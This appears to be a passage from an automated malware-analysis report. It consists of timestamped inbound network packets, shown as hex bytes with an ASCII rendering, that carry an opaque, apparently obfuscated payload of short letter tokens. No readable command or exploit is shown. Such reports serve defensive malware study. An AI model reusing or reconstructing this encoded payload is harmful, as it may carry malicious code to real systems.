78 20 74 78 20 4f 4f 6b 20 59 78 20 6f 78 4b 20 4f 20 74 6f 20 4f 4f 78 20 4f 4f 52 20 4f 4f 74 20 6f 59 6f 20 6b 78 20 6b 51 20 6f 6b 20 52 78 20 59 4b 20 4f 74 74 20 4f 78 51 20 4f 74 78 20 74 78 Data Ascii: OQE OOQ OOk Yx Ex YK OEx tk OOR OOt tt OOR OEK Ko oQ YK oOY tx OOt OxQ OOk Yx oYO oQ QE Oox OOR OOt tQ ko kQ ok Yo YK OEK OOE Ex RY OOk Yx OKx Yo QE Oox OOR OOt oo kY OKQ Y Rx YK ooK Rt Otx tx OOk Yx oxK O to OOx OOR OOt oYo kx kQ ok Rx YK Ott OxQ Otx tx
2021-10-29 18:30:02 UTC	1784	IN	Data Raw: 6f 59 20 4f 4f 6f 20 51 59 20 6f 20 59 78 20 59 4b 20 4f 78 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 78 51 20 6f 45 20 59 78 20 4b 51 20 59 4f 20 59 4b 20 6b 4b 20 4f 52 45 20 74 45 20 4f 78 51 20 4f 4f 6f 20 51 59 20 4b 6b 20 59 51 20 59 4b 20 6f 4f 45 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 51 52 20 59 78 20 4f 74 52 20 4f 74 20 59 4b 20 6b 4b 20 51 4f 20 4f 4f 74 20 4f 78 78 20 4f 4f 6f 20 4f 6b 45 20 4b 6b 20 4f 74 51 20 59 59 20 52 6b 20 4f 4f 4b 20 74 6b 20 4b 52 20 4f 4f 6f 20 59 78 20 6f 59 20 59 78 20 52 4f 20 6b 4b 20 6f 4b 51 20 4f 4f 74 20 6f 45 52 20 4f 4f 45 20 45 4b 20 4b 6b 20 4f 52 6f 20 74 20 6b 4b 20 4f 4f 4b 20 51 6f 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6b 6b 20 59 78 20 4f 6b 45 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 52 78 20 6b 6b 20 59 78 20 Data Ascii: oY OOo QY o Yx YK OxK OOK OoK OxQ oE Yx KQ YO YK kK ORE tE OxQ OOo QY Kk YQ YK oOE OOK oKK OxQ QR Yx OtR Ot YK kK QO OOt Oxx OOo OkE Kk OtQ YY Rk OOK tk KR OOo Yx oY Yx RO kK oKQ OOt oER OOE EK Kk ORo t kK OOK Qo OxQ OoE Yx Okk Yx OkE kY Qk OOt ORx kk Yx
2021-10-29 18:30:02 UTC	1788	IN	Data Raw: 6b 20 59 78 20 4f 4f 4f 20 6b 59 20 6b 52 20 4f 4f 52 20 74 6f 20 4f 4f 4b 20 45 45 20 4b 51 20 59 78 20 59 4b 20 4f 78 20 4f 6f 45 20 4f 4f 74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 78 20 59 4f 20 4f 51 20 6b 52 20 51 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 74 4f 20 52 45 20 59 78 20 59 4b 20 4f 45 20 4f 4f 59 20 6b 4f 20 4f 78 6b 20 6b 59 20 4b 6b 20 45 59 20 59 4f 20 59 4b 20 6b 4b 20 6f 4b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 78 74 20 4b 51 20 6f 6f 20 59 59 20 4f 4f 45 20 4f 4f 6f 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 45 20 59 59 20 59 4b 20 6b 4b 20 4b 45 20 4f 4f 52 20 74 45 20 4f 4f 45 20 6f 45 20 59 78 20 45 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6f 45 4f 20 51 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 4f 6b 20 6b 59 20 6b Data Ascii: k Yx OOO kY kR OOR to OOK EE KQ Yx YK Ox OoE OOt OxQ KO YO ox YO OQ kR Qt OOR OxQ OOo tO RE Yx YK OE OOY kO Oxk kY Kk EY YO YK kK oKR OOt OxQ OOo Oxt KQ oo YY OOE OOo Oxo Oxk OOo Yx YE YY YK kK KE OOR tE OOE oE Yx EE YY kK OOK oEO Qk OOo Yx OxY YO Ok kY k
2021-10-29 18:30:02 UTC	1792	IN	Data Raw: 6f 45 51 20 45 6f 20 59 4f 20 59 4b 20 4f 6b 6b 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 45 59 20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6b 45 20 4f 78 6b 20 59 6f 20 45 45 20 59 4f 20 59 4b 20 45 52 20 4f 4f 4f 20 4f 78 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4f 6b 52 20 4b 74 20 4f 4b 4b 20 6b 4b 20 52 59 20 4f 4f 52 20 6f 6f 6f 20 4f 6f 52 20 4f 6b 6f 20 45 45 20 4f 20 59 59 20 4f 6f 20 51 6b 20 6f 59 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 52 4b 20 45 6b 20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 4f 78 20 4f 4f 51 20 4f 6b 6b 20 45 45 20 4f 20 59 59 20 4f 74 4b 20 4f 6f 74 20 6f 45 78 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 51 52 20 59 52 20 4f 74 4b 20 52 51 20 52 59 20 4f 4f 52 20 6f 45 4f 20 4f 6f 52 20 4f 74 59 20 45 45 Data Ascii: oEQ Eo YO YK Okk OxY oOO OxQ OOE Yx EY KR OKK kK OOY OOt kE Oxk Yo EE YO YK ER OOO Ox OoK OOE Yx OkR Kt OKK kK RY OOR ooo OoR Oko EE O YY Oo Qk oYo OoK Rt YO RK Ek Otk RQ RY OOR OOx OOQ Okk EE O YY OtK Oot oEx OoK Rt YO OQR YR OtK RQ RY OOR oEO OoR OtY EE
2021-10-29 18:30:02 UTC	1796	IN	Data Raw: 20 51 59 20 4f 4f 74 20 4f 59 20 74 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 74 6b 20 4f 4f 59 20 4f 74 74 20 74 6b 20 4f 4f 45 20 59 78 20 52 20 59 78 20 6b 6f 20 4f 78 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20 4f 51 74 20 51 20 4f 6b 78 20 51 74 20 52 74 20 4f 78 51 20 4f 51 6f 20 4f 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 6f 74 20 4f 4f 74 20 4f 59 4b 20 74 51 20 6f 4f 45 20 45 59 20 4f 78 20 59 4b 20 4f 6f 20 74 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 74 20 59 78 20 6b 74 20 4f 78 59 20 4f 45 78 20 4f 78 6f 20 6b 74 20 4f 4f 6f 20 4f 4b 20 4f 4f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 6f 6f 6f 20 6f 4f 20 6f 78 74 20 45 45 20 51 20 6b 4b 20 4f 4b 20 74 6b 20 4f 78 51 Data Ascii: QY OOt OY tE Yx Kk Yx YK Otk OOY Ott tk OOE Yx R Yx ko OxQ OOK OOt OxQ OOo ORK Kk OQt Q Okx Qt Rt OxQ OQo OO Kk Yx YK kK oot OOt OYK tQ oOE EY Ox YK Oo to OOt OxQ OOo Yx Ott Yx kt OxY OEx Oxo kt OOo OK OO Yx YK kK OOK oKK OxQ ooo oO oxt EE Q kK OK tk OxQ
2021-10-29 18:30:02 UTC	1800	IN	Data Raw: 4f 78 6b 20 4f 59 6f 20 4f 6f 4f 20 4f 52 6b 20 59 78 20 59 6b 20 4f 78 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 4f 78 45 20 4b 52 20 6f 6f 45 20 45 4b 20 4f 4b 45 20 4f 4f 4b 20 4f 78 59 20 59 45 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4f 6f 51 20 4f 4f 59 20 4f 6f 6b 20 4f 78 78 20 6f 45 52 20 4b 6b 20 6b 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 51 20 45 20 6f 4f 51 20 52 4b 20 4f 4b 74 20 4f 4f 74 20 45 45 20 4b 78 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 6f 4b 59 20 4b 4b 20 4f 59 74 20 45 6b 20 6f 4f 6f 20 59 78 20 4f 78 4b 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20 4f 4f 78 20 4b 51 20 4f 6b 59 Data Ascii: Oxk OYo OoO ORk Yx Yk OxR YK kK OOK OOt oYO OOo OxE KR ooE EK OKE OOK OxY YE OOo Yx Kk Yx ORx kK OoQ OOY Ook Oxx oER Kk k OOx kK OOK OOt OxQ oEx Yx OQ E oOQ RK OKt OOt EE Kx Yx Kk Yx YK OQK OOK oKY KK OYt Ek oOo Yx OxK Oo OOK OOt OxQ OOo ORK Kk OOx KQ OkY
2021-10-29 18:30:02 UTC	1804	IN	Data Raw: 20 6f 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 52 20 59 78 20 4f 4b 59 20 4f 78 4b 20 4f 6f 4b 20 51 51 20 45 45 20 4f 4f 45 20 59 78 20 4f 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6f 74 20 4f 78 51 20 4f 74 4b 20 6f 4b 20 45 6b 20 45 52 20 4f 6f 78 20 6b 59 20 6f 4b 4f 20 6f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52 4b 20 52 6f 20 6f 51 20 4f 78 74 20 4f 78 4b 20 4f 6f 45 20 52 45 20 59 4f 20 4f 6f 6b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 51 52 20 4b 4f 20 4f 74 20 45 6f 20 6f 74 20 4f 4f 59 20 4f 45 45 20 6f 45 4b 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4b 4f 20 4f 78 6b 20 4f 6b 78 20 4f 6f 59 20 51 6b 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f Data Ascii: oKt OOt OxQ OOo Yx ORR Yx OKY OxK OoK QQ EE OOE Yx OkE Yx YK kK OOK oot OxQ OtK oK Ek ER Oox kY oKO oKo OxQ OOo Yx Kk ORK Ro oQ Oxt OxK OoE RE YO Ook OkO YK kK OOK OOt oYO OOo QR KO Ot Eo ot OOY OEE oEK OOo Yx Kk Yx ORx kK KO Oxk Okx OoY Qk KQ Yx YK kK O
2021-10-29 18:30:02 UTC	1808	IN	Data Raw: 59 6b 20 6f 6f 52 20 59 6f 20 6f 59 59 20 6b 4b 20 6f 4b 51 20 4f 4f 52 20 4f 74 4b 20 6f 78 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 74 59 20 4f 78 74 20 51 52 20 59 78 20 4f 6b 74 20 59 4f 20 6f 59 78 20 6f 4b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 4f 45 59 20 52 6f 20 6f 6f 51 20 4f 78 78 20 6f 4b 51 20 4f 78 6b 20 4f 52 4b 20 4f 4b 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 6f 78 6b 20 4f 6f 78 20 4f 45 74 20 45 6b 20 4f 51 78 20 59 59 20 4f 45 74 20 6f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 78 20 51 59 20 4f 6b 78 20 51 51 20 6f 6f 4b 20 4f 4f 45 20 6f 4f 59 20 4f 4b 59 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f Data Ascii: Yk ooR Yo oYY kK oKQ OOR OtK oxQ Yx Kk Yx YK oOx Ooo OtY Oxt QR Yx Okt YO oYx oKY OOK OOt OxQ OOo Okx YR OEY Ro ooQ Oxx oKQ Oxk ORK OKt Kk Yx YK kK oKK OoY oxk Oox OEt Ek OQx YY OEt oOO OOt OxQ OOo Yx Oko Yk Ox QY Okx QQ ooK OOE oOY OKY Yx YK kK OOK oKE O
2021-10-29 18:30:02 UTC	1812	IN	Data Raw: 20 59 6b 20 4f 78 4f 20 45 59 20 4f 6f 74 20 6b 4f 20 6f 4f 74 20 4f 4f 52 20 6f 6f 4f 20 6f 4f 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 6b 6b 20 4f 6f 4b 20 4f 78 74 20 59 78 20 4f 59 52 20 59 4f 20 4f 4b 6f 20 6f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 6f 74 20 45 51 20 6f 51 20 4f 4f 51 20 6f 4f 74 20 4f 78 6b 20 4f 74 74 20 4f 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4f 59 20 4f 4f 6f 20 4f 74 45 20 45 74 20 4f 59 51 20 59 59 20 4f 59 74 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 74 20 6b 4b 20 6f 4f 45 20 51 52 20 4f 51 6f 20 4f 4f 45 20 6f 6f 4b 20 4f 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 Data Ascii: Yk OxO EY Oot kO oOt OOR ooO oOE Yx Kk Yx YK oOx Ooo Okk OoK Oxt Yx OYR YO OKo oKO OOK OOt OxQ OOo Okx YR oot EQ oQ OOQ oOt Oxk Ott OYO Kk Yx YK kK oKK OoY OOY OOo OtE Et OYQ YY OYt oOY OOt OxQ OOo Yx Oko Yk Ot kK oOE QR OQo OOE ooK OKQ Yx YK kK OOK oKE
2021-10-29 18:30:02 UTC	1816	IN	Data Raw: 4b 20 4f 6f 59 20 6f 4f 52 20 4f 6f 78 20 6f 59 4f 20 4b 6b 20 6f 6f 59 20 59 59 20 74 6b 20 6f 4f 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 45 51 20 51 6f 20 51 6b 20 4f 4f 74 20 4f 51 78 20 4f 4f 45 20 4f 74 20 4f 59 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 74 52 20 59 74 20 6f 4b 51 20 59 78 20 6f 6f 52 20 6b 59 20 6b 51 20 6f 6f 78 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 52 20 4f 6f 4f 20 4f 78 4f 20 4f 78 51 20 4f 52 4b 20 59 4f 20 4b 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 45 59 20 52 78 20 6f 59 4f 20 59 4b 20 4f 6f 51 20 4f 4f 59 20 74 45 20 4f 51 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 4f Data Ascii: K OoY oOR Oox oYO Kk ooY YY tk oOQ OOt OxQ OOo Yx Oko Yk OEQ Qo Qk OOt OQx OOE Ot OYE Yx YK kK OOK oKE OxO tR Yt oKQ Yx ooR kY kQ oox OxQ OOo Yx Kk Okx Ro OR OoO OxO OxQ ORK YO K OYY YK kK OOK OOt oEY Oox oEY Rx oYO YK OoQ OOY tE OQR OOo Yx Kk Yx OtR Qo O
2021-10-29 18:30:02 UTC	1820	IN	Data Raw: 4b 6b 20 59 78 20 4f 6b 4f 20 6b 4b 20 4f 6f 45 20 4f 4f 51 20 4f 51 59 20 4f 78 4b 20 4f 78 6b 20 59 78 20 74 59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 45 20 59 78 20 51 6b 20 4b 6b 20 6f 6f 4f 20 52 74 20 4b 59 20 4f 4f 51 20 6f 45 52 20 6f 4f 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51 20 4f 4f 74 20 59 78 20 6b 78 20 4b 6b 20 4f 59 78 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 4f 4f 20 4b 51 20 4f 45 4f 20 6f 4f 20 6b 59 20 4f 4f 4b 20 6f 78 20 4f 4f 4f 20 6f 4f 6f 20 4f 59 45 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4b 74 20 4f 4f 52 20 4f 52 4f 20 4b 6b 20 4b 4f 20 4b 6b 20 6b 45 20 59 6f 20 4b 20 6f 6f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 78 Data Ascii: Kk Yx OkO kK OoE OOQ OQY OxK Oxk Yx tY OYt kK OOK OOt OxQ oKE Yx Qk Kk ooO Rt KY OOQ oER oOQ Yx Kk Yx YK oOx OxR oYO kQ OOt Yx kx Kk OYx oYY OOK OOt OxQ OOo oOO KQ OEO oO kY OOK ox OOO oOo OYE Kk Yx YK kK OKt OOR ORO Kk KO Kk kE Yo K ooE OOt OxQ OOo Yx ox
2021-10-29 18:30:02 UTC	1824	IN	Data Raw: 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f Data Ascii: Ot OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx O
2021-10-29 18:30:02 UTC	1828	IN	Data Raw: 20 4f 4f 74 20 74 4b 20 6b 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 45 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 59 20 4f 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 59 6f 20 4b 51 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 78 45 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 59 6b 20 59 4f 20 45 4b 20 45 6f 20 4b 6b 20 59 4b 20 6f 45 74 20 6b 51 20 4f 78 4f 20 4f 6f 59 20 4f 4f 59 20 59 78 20 6f 4b 6f 20 6f 59 20 59 4b 20 Data Ascii: OOt tK kO Yx Kk YO YK E OOk OOt OxQ OOE Yx KY OR YK kK OOo OOt Yo KQ Yx Kk YO YK oxE Kk OOt OxQ OOK Yx OOQ oO YK kK OOY OOt Yk YO EK Eo Kk YK oEt kQ OxO OoY OOY Yx oKo oY YK
2021-10-29 18:30:02 UTC	1828	IN	Data Raw: 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 52 6b 20 74 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 59 6f 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 6f 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 6b 51 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 78 20 6b 51 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6f 6f 78 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b Data Ascii: kK OOk OOt Rk tO Yx Kk YO YK oYo QO OOt OxQ OOE Yx OYo ot YK kK OOY OOt OQt kQ Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Rx kQ Yx Kk Kk YK oox QO OOt OxQ OOE Yx OOQ oO YK kK OOY OOt K
2021-10-29 18:30:02 UTC	1832	IN	Data Raw: 4f 74 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 4f 20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 4f 4f 45 20 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 51 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 51 51 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 74 20 4f 4f 6f 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 52 74 20 51 78 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6f 51 20 74 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 4f 20 4f 6f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 45 52 20 74 74 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 51 78 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 Data Ascii: Ot OxQ OoE Yx OoO OY Yo kK OOY OOt QO Yx Yx Kk Kk YK OOE tR OOt OxQ OOE Yx OoO OY YK kK OOo OOt QQ OOx Yx Kk YO YK QQ Kk OOt OxQ OOE Yx t OOo YK kK OOo OOt ORt Qx Yx Kk KQ YK oQ tQ OOt OxQ OOE Yx oO Oo YK kK OOY OOt ER tt Yx Kk Kk YK Qx Oxk OOt OxQ OOE Yx
2021-10-29 18:30:02 UTC	1836	IN	Data Raw: 20 4f 51 51 20 6b 74 20 6f 6b 20 4f 78 52 20 4f 74 74 20 4f 4f 52 20 6f 45 78 20 4b 6b 20 4f 51 78 20 6f 51 20 4f 4f 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6f 4f 4f 20 59 4b 20 45 51 20 6b 59 20 74 20 52 6b 20 4f 45 59 20 4f 4f 52 20 59 4f 20 59 6f 20 52 6b 20 51 20 4f 52 74 20 4f 4f 6b 20 4f 4f 52 20 4f 78 59 20 4f 6f 4f 20 51 20 6f 78 4f 20 59 4b 20 52 45 20 6b 78 20 45 45 20 4f 4f 78 20 4f 4b 52 20 4f 4f 52 20 6f 45 6b 20 4b 6b 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 78 78 20 4f 78 59 20 4f 45 45 20 6f 4f 20 4b 78 20 59 59 20 6f 45 20 6b 78 20 6f 4f 74 20 6b 52 20 4f 78 6b 20 4f 4f 6f 20 4f 51 20 59 6f 20 4b 74 20 4f 4f 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 4f 6b 78 20 4f 74 20 4b 51 20 59 78 20 4b 74 20 6b 59 20 Data Ascii: OQQ kt ok OxR Ott OOR oEx Kk OQx oQ OOY OOK OOR Oxk oYK R oOO YK EQ kY t Rk OEY OOR YO Yo Rk Q ORt OOk OOR OxY OoO Q oxO YK RE kx EE OOx OKR OOR oEk Kk Okk o kY OOK Oxx OxY OEE oO Kx YY oE kx oOt kR Oxk OOo OQ Yo Kt OOk kY OOK OOR Oxk Okx Ot KQ Yx Kt kY
2021-10-29 18:30:02 UTC	1840	IN	Data Raw: 20 6f 20 6b 59 20 4f 4f 4b 20 45 52 20 4f 78 4b 20 6f 4b 6f 20 6f 4f 20 52 6b 20 52 45 20 4f 78 45 20 6b 4f 20 6f 78 74 20 6b 6f 20 6f 59 20 4f 6f 59 20 4f 78 74 20 59 45 20 4b 4f 20 4f 4b 20 4b 59 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 6f 4b 20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 6f 74 20 6b 52 20 6f 59 4b 20 59 45 20 6f 45 74 20 4f 6f 59 20 4f 6f 45 20 59 78 20 74 59 20 4f 4f 6b 20 6f 4f 6f 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 4b 78 20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 78 45 20 6b 4f 20 6f 78 6b 20 4f 78 52 20 6f 45 4b 20 4f 6f 59 20 51 4f 20 59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 6f 6b 20 4f 78 4b 20 52 74 20 6f 4b 20 59 45 20 59 78 20 51 59 20 6b 4f 20 4f 78 45 20 51 59 20 4f 78 4b 20 4f 4f 6f 20 51 4f 20 59 45 20 6f 52 20 4b 59 20 6b 4f 20 4f Data Ascii: o kY OOK ER OxK oKo oO Rk RE OxE kO oxt ko oY OoY Oxt YE KO OK KY Oot Rx OOO oK OOK OtR RE Oot kR oYK YE oEt OoY OoE Yx tY OOk oOo Oot Rx OOO Kx OOK OtR RE OxE kO oxk OxR oEK OoY QO YE Okk o kY OOK ok OxK Rt oK YE Yx QY kO OxE QY OxK OOo QO YE oR KY kO O
2021-10-29 18:30:02 UTC	1845	IN	Data Raw: 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6b 59 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4f 4f 45 20 4f 4f 78 20 51 4f 20 59 59 20 4f 6f 51 20 59 4b 20 6f 45 4b 20 4f 78 4b 20 6f 4b 4b 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 4f 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4b 4f 20 4f 4f 78 20 4f 6b 74 20 59 59 20 4f 6f 51 20 59 4b 20 4f 59 4b 20 4f 78 4b 20 6f 4f 6f 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 4b 51 20 6b 45 20 6f 78 51 20 4f 4f 74 20 52 20 4f 4f 78 20 4f 59 59 20 59 59 20 4f 6f 51 20 59 4b 20 4f 45 51 20 4f 78 4b 20 4f 6b 78 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 4b 59 20 6b 45 20 6f 78 51 20 4f 4f 74 20 6f 59 59 20 4f 4f 78 20 6f 59 4f 20 59 59 20 4f 6f 51 20 59 4b 20 4f 52 4b 20 4f 78 4b 20 4f Data Ascii: xR YO Yx OQk RO kY kE oxQ OOt OOE OOx QO YY OoQ YK oEK OxK oKK OxR YO Yx OQk RO OkO kE oxQ OOt KO OOx Okt YY OoQ YK OYK OxK oOo OxR YO Yx OQk RO OKQ kE oxQ OOt R OOx OYY YY OoQ YK OEQ OxK Okx OxR YO Yx OQk RO oKY kE oxQ OOt oYY OOx oYO YY OoQ YK ORK OxK O
